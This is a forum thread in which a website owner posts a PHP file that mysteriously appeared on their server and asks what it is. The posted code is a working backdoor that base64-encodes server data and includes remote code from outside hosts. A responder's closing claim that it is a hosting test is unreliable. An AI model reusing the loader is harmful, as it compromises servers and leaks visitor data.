mysteriously added php script

[chunk1978]

hi everyone... i've recently noticed some strange .php scripts that are automatically added to some folders on my server... this one is called "47481.php"

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My54bWxkYXRhLmluZm8=")."/?".$str);} ?>

can anyone tell me what this is about? is there something wrong with my php scripts or server? or is this just normal for the server to add this script?

thanks

[kovik]

A server should never automatically add a script... To you allow users to upload files or do you have any security holes that may possibly allow a file to be executed on your server?

[chunk1978]

A server should never automatically add a script... To you allow users to upload files or do you have any security holes that may possibly allow a file to be executed on your server?

hi there... yes i allow people to upload certain image files into a specific folder on the server... but the above php script is located in different folders that that only i use to send out automatic emails to users notifying them that their file was received, or that their order is ready, etc. you see, i built some little html forms that only i can fill out (with a user's name, email, etc.) which will send formulated emails to clients, and it seems whenever i do that, the mysterious php script will be created in the folder on my server.

i can delete these mysterious php scripts, but they will eventually come back...

[kovik]

yes i allow people to upload certain image files into a specific folder on the server...

Really? Exactly how secure is this script? What methods do you use to verify that the file being uploaded is, indeed, a valid image file?

[chunk1978]

Really? Exactly how secure is this script? What methods do you use to verify that the file being uploaded is, indeed, a valid image file?

i use a javascript validation in the user form, the file has to have a specific extension... i know it's not the most secure thing, but this is beside the point, since the above mentioned mysterious php script that is occurring is happening in my own folder, with my own php script, that only i can use and have access to.

[kovik]

i use a javascript validation in the user form, the file has to have a specific extension... i know it's not the most secure thing, but this is beside the point, since the above mentioned mysterious php script that is occurring is happening in my own folder, with my own php script, that only i can use and have access to.

No, that IS the point. The point that I'm trying to make to you is that you have likely been hacked. Have you read the code? Have you ran the code? Does it look at all innocent to you?

The file extension has no control over the file type, and client-side validation can be overwritten. If you give me the URL to your website, I can show you exactly how your web server can be compromised as it likely has been.

You need to properly validate all user input, *especially* files.

[kovik]

Also... Is there any chance that you are hosted by GoDaddy...?

[chunk1978]

No, that IS the point. The point that I'm trying to make to you is that you have likely been hacked. Have you read the code? Have you ran the code? Does it look at all innocent to you?

The file extension has no control over the file type, and client-side validation can be overwritten. If you give me the URL to your website, I can show you exactly how your web server can be compromised as it likely has been.

You need to properly validate all user input, *especially* files.

my site doesn't even receive any visitors... and no one uploaded any images to my site yet... it's all pretty new... i don't think i was hacked.

[chunk1978]

Also... Is there any chance that you are hosted by GoDaddy...?

i'm not hosted by godaddy. why?

isn't the mysterious php script something to do with error reporting? maybe i have an option selected in the site's control panel? can't you see the code of the mysterious php script that i listed in the first post? i just want to know what this code means...

[kovik]

i'm not hosted by godaddy. why?

When their servers go down, they create little test files on each individual website and try them out, but never clean up after themselves. Glancing over the code once more... It looks like some sort of test. Talk to your host about it.

[chunk1978]

When their servers go down, they create little test files on each individual website and try them out, but never clean up after themselves. Glancing over the code once more... It looks like some sort of test. Talk to your host about it.

ok i'll ask them about it... i'm not with godaddy, but i'm with a canadian host serve who i believe is the canadian version of godaddy... their sites look the same anyway... thanks for your input